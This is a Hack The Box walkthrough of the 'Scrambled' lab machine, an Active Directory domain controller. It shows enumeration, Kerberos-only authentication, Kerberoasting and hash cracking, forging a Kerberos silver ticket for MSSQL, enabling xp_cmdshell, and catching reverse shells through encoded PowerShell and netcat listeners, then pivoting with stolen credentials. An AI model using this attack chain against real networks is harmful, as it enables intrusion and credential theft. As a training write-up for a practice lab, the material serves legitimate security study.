Scrambled Hack The Box Walkthrough/Writeup:
How I use variables & wordlists:
- Variables:
- In my commands you are going to see me use
$box,$user,$hash,$domain,$passoften.- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
$box= The IP of the box$pass= Passwords I have access to.$user= current user I am enumerating with.- Depending on where I am in the process this can change if I move laterally.
$domain= the domain name e.g.sugarape.localorcontoso.local
- Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
- In my commands you are going to see me use
- Wordlists:
- I have symlinks all setup so I can get to my passwords from
~/Wordlistsso if you see me using that path that’s why. If you are on Kali and following on, you will need to go to/usr/share/wordlists- I also use these additional wordlists:
- I have symlinks all setup so I can get to my passwords from
1. Enumeration:
NMAP:
-
Basic Scan:
nmap $box -Pn -oA basicScankali in 46.02-HTB/BlogEntriesMade/Scrambled/scans/nmap 2GiB/15GiB | 0B/1GiB with /usr/bin/zsh 🕙 08:18:34 zsh ❯ nmap $box -Pn -oA basicScan Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 08:18 BST Nmap scan report for 10.129.174.234 Host is up (0.039s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl Nmap done: 1 IP address (1 host up) scanned in 19.92 seconds- Some great targets here:
- webserver
- dns
- smb
- ldap
- mssql
-
In depth scan:
sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
kali in 46.02-HTB/BlogEntriesMade/Scrambled/scans/nmap 2GiB/15GiB | 0B/1GiB with /usr/bin/zsh took 11s 🕙 14:38:27 zsh ❯ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 14:38 BST Stats: 0:01:18 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 48.86% done; ETC: 14:41 (0:01:14 remaining) Nmap scan report for 10.129.115.202 Host is up (0.038s latency). Not shown: 65513 filtered tcp ports (no-response) Bug in ms-sql-ntlm-info: no string output. PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Scramble Corp Intranet |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-06 13:41:06Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name) |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC1.scrm.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local | Not valid before: 2022-06-09T01:42:36 |_Not valid after: 2023-06-09T01:42:36 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC1.scrm.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local | Not valid before: 2022-06-09T01:42:36 |_Not valid after: 2023-06-09T01:42:36 |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time. 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-info: | 10.129.115.202:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-10-06T07:30:55 |_Not valid after: 2054-10-06T07:30:55 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC1.scrm.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local | Not valid before: 2022-06-09T01:42:36 |_Not valid after: 2023-06-09T01:42:36 |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name) |_ssl-date: 2024-10-06T13:44:16+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC1.scrm.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local | Not valid before: 2022-06-09T01:42:36 |_Not valid after: 2023-06-09T01:42:36 4411/tcp open found? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: | SCRAMBLECORP_ORDERS_V1.0.3; | FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: | SCRAMBLECORP_ORDERS_V1.0.3; |_ ERROR_UNKNOWN_COMMAND; 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49698/tcp open msrpc Microsoft Windows RPC 52608/tcp open msrpc Microsoft Windows RPC 57490/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port4411-TCP:V=7.94SVN%I=7%D=10/6%Time=67029371%P=x86_64-pc-linux-gnu%r SF:(NULL,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMB SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\. SF:0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_OR SF:DERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMB SF:LECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D," SF:SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLE SF:CORP_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDE SF:RS_V1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UN SF:KNOWN_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\ SF:r\n")%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r( SF:TLSSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SC SF:RAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_ SF:V1\.0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Fo SF:urOhFourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMM SF:AND;\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNO SF:WN_COMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n SF:")%r(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,3 SF:5,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LAND SF:esk-RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCR SF:AMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3 SF:;\r\n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D SF:,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORD SF:ERS_V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n" SF:)%r(ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLE SF:CORP_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\ SF:n"); Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (89%) Aggressive OS guesses: Microsoft Windows Server 2019 (89%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-10-06T13:43:41 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 324.38 seconds- Interesting find here: Port
4411, looks to be a custom service running.
LDAP 389:
Using LDAP anonymous bind to enumerate further:
- If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.
- We can actually retrieve a significant amount of information via anonymous bind such as:
- A list of all users
- A list of all groups
- A list of all computers.
- User account attributes.
- The domain password policy.
- Enumerate users who are susceptible to AS-REPRoasting.
- Passwords stored in the description fields
- The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.
- We can actually retrieve a significant amount of information via anonymous bind such as:
-
I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here
-
It turns out the anonymous bind is enabled and we get the below information. I have removed the majority of the information as it is not relevant, however there are some keys bits of information we can use moving forward.
-
We have the naming context of the domain:
kali in ~/Desktop/WindowsTools 🐍 v3.12.6 2GiB/15GiB | 0B/1GiB with /usr/bin/zsh 🕙 08:19:00 zsh ❯ python3 ldapchecker.py $box Attempting to connect to 10.129.174.234 with SSL... Connected successfully. Retrieving server information... DSA info (from DSE): Supported LDAP versions: 3, 2 Naming contexts: DC=scrm,DC=local CN=Configuration,DC=scrm,DC=local CN=Schema,CN=Configuration,DC=scrm,DC=local DC=DomainDnsZones,DC=scrm,DC=local DC=ForestDnsZones,DC=scrm,DC=local -
We have the domain functionaility level:
Other: domainFunctionality: 7 forestFunctionality: 7 domainControllerFunctionality: 7- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
+Note+: that any host os can be used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.
-
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels
-
Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.
-
In this case we can see it is level 7 which means that this server has to be running Windows Server 2016 or newer.
-
Here’s a list of functional level numbers and their corresponding Windows Server operating systems:
Functional Level Number Corresponding OS 0 Windows 2000 1 Windows Server 2003 Interim 2 Windows Server 2003 3 Windows Server 2008 4 Windows Server 2008 R2 5 Windows Server 2012 6 Windows Server 2012 R2 7 Windows Server 2016 8 Windows Server 2019 9 Windows Server 2022 - +Note+:
- Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
- As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.
- +Note+:
-
- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
We have the full server name:
- Again we can see this has the CN as the base (mentioned previously.)
serverName: CN=DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=scrm,DC=local
- Again we can see this has the CN as the base (mentioned previously.)
-
-
It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.
- We have the naming context.
- Domain name.
-
I update my
/etc/hostsfile now that we have the server name.- This is so we can use tools like kerbrute for user enumeration as well as other tools later on.
Kerberos 88:
User enumeration using Kerbrute :
- I use kerbrute
to check for usernames:
kerbrute userenum -d $domain --dc $box ~/Wordlists/statistically-likely-usernames/jsmith.txt- I find 5 valid usersnames, I add these to my list of usernames:
SMB 445:
Checking for NULL & Guest Sessions netexec:
-
I check for NULL & Guest session but they are not accessible:
netexec smb $box -u 'guest' -p '' --sharesnetexec smb $box -u '' -p '' --shares
-
I check to see if any of the users I found in kerbrute have used any of their names as a password:
netexec smb $box -u Users.txt -p Users.txt --continue-on-success
- No hits though:
DNS 53:
Using dnsenum to check for interesting DNS records:
-
I fire up dnsenum to enumerate any interesting DNS records:
dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Seclists/Discovery/DNS/subdomains-top1million-110000.txt $domain
-
I get a hit on an interesting entry straight away:
ws01.scrm.local 192.168.0.54
- This could indicate we have another host running on an internal network, or potentially this host is dual nicked and known by
WS01.scrm.localon a seperate network. - +Note+:
- I update my
/etc/hostsfile to contain this entry.
- I update my
HTTP 80:
Finding an internal website:
- I open burpsuite
to proxy all traffic through:
- I navigate to the webserver running on port 80 & find an internal intranet site:
- As we can see there is nothing to report in Wappalyzer.
- I navigate to the webserver running on port 80 & find an internal intranet site:
Fuzzing for pages using FFUF:
-
I use FFUF to fuzz for more
.htmlpages whilst I explor the site:ffuf -w ~/Wordlists/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://$box/FUZZ.html -fc 403 -ic
- I don’t find anything additional:
-
I fuzz for more directories:
ffuf -w ~/Wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://$box/FUZZ -fc 403 -ic
- Nothing of particular note.
Discovering their was breach & NTLM authentication is disabled:
- Navigating to the
support.htmlpage we can see the below alert:
- It says that they were breached and now all
NTLMauthentication has been disabled. Interesting.
Discovering Password Resets Cause Password to Be Set As Username:
-
Enumerating the site further we find the page
passwords.htmlwhere it says the below:Our self service password reset system will be up and running soon but in the meantime please call the IT support line and we will reset your password. If no one is available please leave a message stating your username and we will reset your password to be the same as the username.
- Meaning there is a good chance that a users password is their username, I have already tried this with SMB, but have not tried other services.
- +Note+: It turned out this was the way forward however something was up with my box, so had to reset.
- Meaning there is a good chance that a users password is their username, I have already tried this with SMB, but have not tried other services.
-
I save the full email addresses to a list and try password spraying with them as the password as well as thes shortened username, but get no hits.
Discovering that ksimpson is most likely part of IT/Support:
ksimpsonin screenshot:- Looking at the page
supportrequest.htmlit details a process for providing network information & there is a screenshot which hasksimpsonas the user:
- I believe we can safely assume that
ksimpsonis part ofIT/Supportin some capacity as they most likely made this screenshot. (This may not seem like much put could be a valauble target to go after later)
- Looking at the page
Sales Order App:
- On the page
salesorder.htmlfind the following content:
- It shows that they have their own custom app running (which was expected given NMAP’s output) & that it’s possible to enable debug logging. We don’t have access to this app as far as I can see at the moment but this is good information.
MSSQL 1433:
- I try cred stuff using netexec with mssql option, but it fails. (Stay tuned to find out why later)
ScrambleCorp Order Service 4411:
- From our NMAP scan it says:
4411/tcp open found? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: | SCRAMBLECORP_ORDERS_V1.0.3; | FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: | SCRAMBLECORP_ORDERS_V1.0.3; |_ ERROR_UNKNOWN_COMMAND;
Using nc to connect to port 4411:
-
Finding
SCRAMBLECORP_ORDERS_V1.0.3;- I use nc to connect to the service running on
4411nc $box 4411
- It tells me that there is a service called
SCRAMBLECORP_ORDERS_V1.0.3running on the service (we knew this from theNMAPscan). - What’s most interesting to me is that the banner & and the responses are all followed by a semi-colon
;this is what usually follows anSQL/MSSQLstatement.- In the
NMAPwe can also see near the end it saysms-sql-s, oracle-tns:
- In the
- I use nc to connect to the service running on
-
I try entering
oracle-sqlqueries:SELECT * FROM v$version;
- No luck lets come back to this later.
2. Authenticated Enumeration:
Realizing the mistake I made when enumerating:
- After alot of enumeration, and some strange results from
netexecand some other tools it dawned on me, all of my checks have been withnetexecand SMB….which used NTLM….I need to try and connect to the service usingkerberosif possible. I need to cred stuff using usernames as passwords but authenticating usingkerberos.
Connecting to the SMB shares as ksimpson:
- As we cannot use
NTLMauthentication we have to forcekerberosauthentication. This is possible by passing most programs the-kflag, however most tools expect to be fed a.caccheauthentication file by way fo theKRB5CCNAMEvariable in linux. So we have to somehow create a.cacchefile or pass the creds directly on the CLI and havekerberosauthenticate using them.- I do some digging and I cannot find direct way to craft my own
.cacchefile. So instead I look to tools I can try and force into using CLI fed creds but authenticate using thekerberosprotocol.
- I do some digging and I cannot find direct way to craft my own
Trying to force netexec to use kerberos authentication:
- I try on netexec by passing the
-kflag, but it does not work:-
I try multiple methods but none work.
netexec smb $box -knetexec smb $box -u ksimpson -knetexec smb $box -u ksimpson -p ksimpson -k
-
- +Note+: I am using
ksimpsonas it just kinda feels like the move, with how much we have seen that username so far.
- +Note+: I am using
-
Back to the drawing board.
-
Trying to force smbmap to use kerberos authentication:
- I try to connect this time with
smbmapand it’s the same issue:smbmap -u $user -H $box -k
Trying to force smbclient to use kerberos authentication:
-
Big ol’ *miss here:
smbclient -U $domain\$user \\\\$box\\ -k
-
It appears that
netexec&smbmapexpects a.ccacheto provided via theKRB5CCNAMEvariable, and will not try the provided creds forkerberosauthentication.
Using impacket-smbclient to authenticate to the SMB Share using kerberos:
- I look through the list of tools I use and what’s left, my precious
impacket-smbclient:impacket-smbclient $domain/$user:$user@dc1.$domain -k- IT CONNECTS!!!!
Finding a file called Network Security Changes.pdf:
-
Finding the
.pdf:- Whilst enumerating the shares I find a file called
Network Security Changes.pdfin thePublicshare:
- Whilst enumerating the shares I find a file called
-
I download the
.pdf:get Network Security Changes.pdf
-
I check all other shares but I am denied access:
Opening Network Security Changes.pdf:
-
Strange text…hmmm?
- When I initially open the file there is only a small amount of text.
-
Poor obfuscation attempted:
- I press
CTRL+Ato select all text and can see that they have just made the text white.
- I press
-
I use
pdftotextto convert the file to a.txtfile:pdftotext *.pdf
I also try and connect to smb as the other users:
- I check if any other users can connect to SMB via kerberos but they cannot
- See, this is why using variables is so much easier, change on var
$userand you can just repeat all your tasks.
Reading Network Security Changes.pdf:
- Once converted I open it up and find the following:
- Key Points:
- They were compromised via an
NTLMRelaying attack which is why they deactivatedNTLMauthentication & are under the impressionKerberosis more secure. - When accessing resources we need to specify the full server name and CN name of the user. e.g.
ksimpson.scrm.localinstead of just theSAMname ofksimpson: We discovered this in our SMB connection. - There are
credsstored in their SQL HR Database however this has now been restricted.
- They were compromised via an
- Key Points:
Attempting to extract creator names from the .PDF:
If you are not aware, it is sometimes possible to extract valid domain usernames from pdf's if they have been created on a Windows host. As often the Creator Field is populated using the Windows User’s Logged-In Name
- Some reasons why the Creator Field Uses the Windows User’s Logged-In Name:
-
PDF Metadata Collection:
- When creating a PDF, many programs (e.g., Microsoft Word, Adobe Acrobat) automatically pull metadata from the system.
-
System Environment Variables:
- The logged-in Windows username is part of system environment variables. This is often used to populate fields like “
Creator” in the PDF document.
- The logged-in Windows username is part of system environment variables. This is often used to populate fields like “
-
Program Defaults:
- By default, many PDF generation tools use the logged-in username as the creator unless manually changed by the user.
-
Tracking Ownership:
- This feature helps track the original creator or author of a document for auditing or document management purposes.
-
Attempting to extract Usernames From the PDF using exiftool:
exiftool -Creator -csv *pdf | cut -d, -f2 | sort | uniq > userNames.txt- I run it and check the output of the file, however there are no valid usernames, just that it was created using Word 2010:
-
Command Breakdown:
-
exiftool -Creator -csv *pdfexiftool: Run the tool-Creator: Extracts theCreatormetadata field from the files.-csv: Outputs the data in CSV format.- This is the most important part for the rest of the command to work:
- The
CSVformat provides a structured way to output the metadata in rows and columns. When extracting metadata from multiple PDFs, each PDF’s metadata is presented as a row, and each field (like “Creator”) is a column. This makes it easier to process the data programmatically. - Simplicity: When using tools like
cut, it’s easier to extract specific fields by referring to column numbers (e.g.,-f2for the second column), which is straightforward withCSVformatting.
- The
- This is the most important part for the rest of the command to work:
*pdf: Targets all PDF files in the current directory.
-
| cut -d, -f2|: Pipes the output from the previous command into the next.cut: Extracts specific fields from the CSV output.-d,: Uses a comma as the delimiter (since it’s CSV data).-f2: Selects the second field, which contains the creator name.
-
| sort: Sorts the creator names alphabetically. -
| uniq: Removes duplicate names, leaving only unique entries. -
> userNames.txt- Redirects the final output (unique creator names) into a file named
userNames.txt
- Redirects the final output (unique creator names) into a file named
-
Trying to Connect to MSSQL using impacket-mssql:
- I attempt to connect as all the users I have found so far:
impacket-mssqlclient $domain/$user:$user@dc1.$domain -k
- What is interesting though is the response for the user
ksimpsonis different from all other users:[-] ERROR(DC1): Line 1: Login failed for user 'SCRM\ksimpson'.
- Which leads me to believe they may have access however I just need to find a password for them.
Kerberoasting using Kerberos Credentials to Get More Kerberos Credentials:
- As we have valid credentials we can use impackets suite of tools to further enumerate and exploit the target.
Using impacket-GetUsersSPNs to extract the SQL service Kerberos Tickets:
- Kerberoasting with
impacket-GetUserSPNs:impacket-GetUserSPNs $domain/$user -k -dc-host dc1.$domain -request -outputfile scrmtickets
- We get a hit & get the
sqlsvcticket:
Cracking the sqlsvc hashes with hashcat:
- I pass the hashes into hashcats:
hashcat -m 13100 scrmtickets ~/Wordlists/rockyou.txt
- It cracks almost immediately & now we have a creds for
mssql
Trying to connect to the MSSQL Service:
-
I try various ways with
impacket-mssqlclientto connect with the password and it does not work. -
Re-exporting the tickets as
.ccachefile:impacket-GetUserSPNs $domain/$user -k -dc-host dc1.$domain -request -save- I then re-export the tickets but this time as a
.ccachefile by passing the-saveflag.
-
I load it into the
KRB5CCNAMEvariable:- However it doesn’t work either. I think this is due it saying in the pdf that only domain admins have access to the she SQL server.
I’ve got a SilverTicket maybe…
- As I have the service password if I can get the domain
SIDand theNTMLhash of thesqlsvcpassword I should be able to craft a silver ticket usingimpacket-ticketer:
Generate NTLM Hash of sqlsvc user:
-
Looking online I find the https://codebeautify.org/ntlm-hash-generator where we can just enter the password and it will generate an
NTLMhash. However I want to be able to do this when I don’t have access to that website.- I find this post from 2012:
-
Shell Code to convert clear-text password to
NTLMhash:iconv -f ASCII -t UTF-16LE <(printf "<Password>") | openssl dgst -md4
- I verify it matches using the online tool:
- +Note+: The only reason I do this check as this is the first time I have used this code so need to ensure it works and the hashes match, moving forward I now know I can use this code and it will work.
-
Python Code to Create
NTLMhash from clear text creds:-
Ironically when I went to add the shell code above to my notes. I found an entry where I had done this previously using python. Below is the python code to do so:
- Install the
passlibfirstpip install passlib
from passlib.hash import nthash password = input("Put your clear text password here: ") nt_hash = nthash.hash(password) print(nt_hash) - Install the
-
Extracting the Domain SID using impacket-getPac:
- We can use
impacket-getPacto easily extract theDomainSID:impacket-getPac $domain/$user -targetUser administrator -hashes :$hash
DomainSID: S-1-5-21-2743207045-1827831105-2542523200- +Note+: PAC’s are pretty interesting, see below for more information.
What is a Privilege Attribute Certificate (PAC):
-
Definition:
- A Privilege Attribute Certificate (
PAC) is a data structure used in Microsoft’s Kerberos implementation to store authorization information about a user. - The PAC is a Microsoft-specific extension to the Kerberos protocol, documented in MS-PAC specification .
- A Privilege Attribute Certificate (
-
Components of a PAC:
-
User Security Identifiers (
SIDs):- Contains the
SIDof the user, which is a unique identifier that represents the user in Windows. - Includes both the user’s primary
SIDand any additionalSIDs.
- Contains the
-
Group Memberships::
- Lists the groups to which the user belongs, used for determining access to resources.
- Contains both domain and local group memberships.
- Includes Resource Groups and Claims information.
-
Privilege Information:
- Contains the privileges assigned to the user (e.g., whether the user has administrative rights).
- Stores User Account Control (
UAC) flags. - Lists specific Windows privileges (e.g.,
SeBackupPrivilege,SeDebugPrivilege).
-
Logon Information:
- Includes logon time, logon count, and other session-specific data.
- Contains the user’s profile path and home directory.
- Stores the user’s logon script path.
- Records the logon server and domain.
-
Creating the silver ticket with impacket-ticketer:
- As we have all the necessary parts, domain
SID, password &NTLMhash we should be able to craft akerberossilver ticket. - I use
impacket-ticketerto make the silver ticket:impacket-ticketer -nthash $hash -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain $domain -dc-ip dc1.$domain -spn MSSQLSvc/dc1.scrm.local:1433 administrator
- As you can see there are some errors, however it still creates the
administrator.ccache
Using the silver ticket to access the SQL instance:
-
I load the ticket into the
KRB5CCNAMEvariableexport KRB5CCNAME=./administrator.ccache
-
I check the ticket is loaded with
klist:klist
-
I access the host using
impacket-mssqlclient:impacket-mssqlclient dc1.$domain -k
3. Foothold:
Activating xp_cmdshell on the host to enumerate the underlying host system:
-
As soon as I connect I see if I can activate
xp_cmdshell:enable_xp_cmdshell
- It works which means we now have remote code execution on the host itself.
-
I check my privs:
xp_cmdshell whoami /priv
-
I enumerate the host & the website directory:
- I try and read the logs and history files but do not have the correct perms:
- I try and read the logs and history files but do not have the correct perms:
-
I also check the users home folders but I can only access my own and there is nothng of note:
-
-
I try and enumerate the shares but I don’t have access there either:
-
Getting a reverse shell as sqlsvc:
- As we have remote code execution we can trigger a reverse shell on the host:
- I create a revere shell with https://revshells.com
-
I start my listener:
nc -nvlp 443
-
I use
xp_cmdshellto execute my shell:xp_cmdshell powershell -e <base64EncodedString>
-
Shell Caught:
-
Enumeration dead-end:
- I do some further enumeration however it is a dead-end…as far as I can see.
Enumerating the Database & Finding Creds for MiscSvc:
-
As was mentioned in the PDF we read earlier, the previous attackers were able to compromise the domain after gaining access to the HR database.
-
I enumerate the databases:
enum db
- We can see the HR db is listed.
-
I select the database:
use ScrambleHR
-
I list it’s tables & find an interesting table called:
UserImport:select * from ScrambleHR.INFORMATION_SCHEMA.TABLES
-
I list the contents of it to find the
LdapPwdof theMiscSvcaccount:select * from UserImport
-
I list the contents of the other shares but they are empty:
4. Lateral Movement:
Getting a shell as MiscSvc:
As I have credentials it dawned on me I can most likely invoke a ps-session using the creds of MiscSvc once I have an established session…..right?
And here’s what didnt’ work:
-
I re-connect my reverse shell like I did with the
sqlsvcaccount usingxp_cmdshell: -
I try and invoke a
ps-session* but it does not work*:enter-pssession -computername localhost -Credential [email protected]enter-pssession -computername dc1.scrm.local -Credential [email protected]
-
Let’s try
runas:runas /user:miscsvc "powershell"
- It looks like it will work as it prompts for the password but then doesn’t let me enter it.
-
Lets try
PWSH(Powershell for linux):enter-pssession -computername dc1.scrm.local -Credential [email protected]
- Again it doesn’t work but tells us this is due to
wsmannot being installed, so let’s install it.
-
Installing
PSWSMan&WSMan:-
After trying various different spellings etc I did some googling:
-
- Install-Module -Name PSWSMan
- Install-WSMan
- Exit
-
Still no dice it will fail consistently:
-
Here is what did work Good Ol’ ….Secure….Invoke:
- We can pass a secure string & then invoke a command as the user
miscsvcusing the credentialed:- From the
ncreverse shell we established assqlsvcwe can run the following commands. $SecPassword = ConvertTo-SecureString '<Pass>' -AsPlainText -Force$Cred = New-Object System.Management.Automation.PSCredential('scrm.local\MiscSvc', $SecPassword)Invoke-Command -Computer 127.0.0.1 -Credential $Cred -ScriptBlock { <CommmandToRun> }
- From the
Getting our reverse shell as MiscSvc:
-
I generate another reverse shell from https://revshells.com :
-
Start another listener:
nc -nlvp 9999
-
Paste in my command:
-
Shell Caught:
-
Other than the flag there is not much on here….
Here’s a breakdown of why this works Code Explanation:
-
Convert password to a secure string:
$SecPassword = ConvertTo-SecureString '<Password>' -AsPlainText -ForceConvertTo-SecureString: Converts a plain text string'<Password>') into a secure string.-AsPlainText: This flag tells PowerShell that the input is plain text (non-secure).-Force: Suppresses warnings/errors and forces the command to accept plain text input.- Result: The password is stored as an encrypted
SecureStringin the$SecPasswordvariable.
-
Create a credential object:
$Cred = New-Object System.Management.Automation.PSCredential('scrm.local\MiscSvc', $SecPassword)New-Object System.Management.Automation.PSCredential: This creates a new credential object, combining a username and the secure password.'scrm.local\MiscSvc': The username is'scrm.local\MiscSvc'.$SecPassword: The password (in secure string format) is passed to the credential object.- Result: The
$Credobject contains the username and encrypted password.
-
Invoke-Command to execute a script block on a target machine:
Invoke-Command -Computer 127.0.0.1 -Credential $Cred -ScriptBlock { whoami }Invoke-Command: Executes the specified script block{ whoami }on a remote computer.-Computer 127.0.0.1: Target machine is127.0.0.1(the local machine).- As we want to authorize with creds we have for the local machine.
-Credential $Cred: Specifies the credentials to use (`$Cred`, the object created above).-ScriptBlock { whoami }: The script block to be executed on the target machine.- +Note+: Any command can be placed here, like our reverse shell
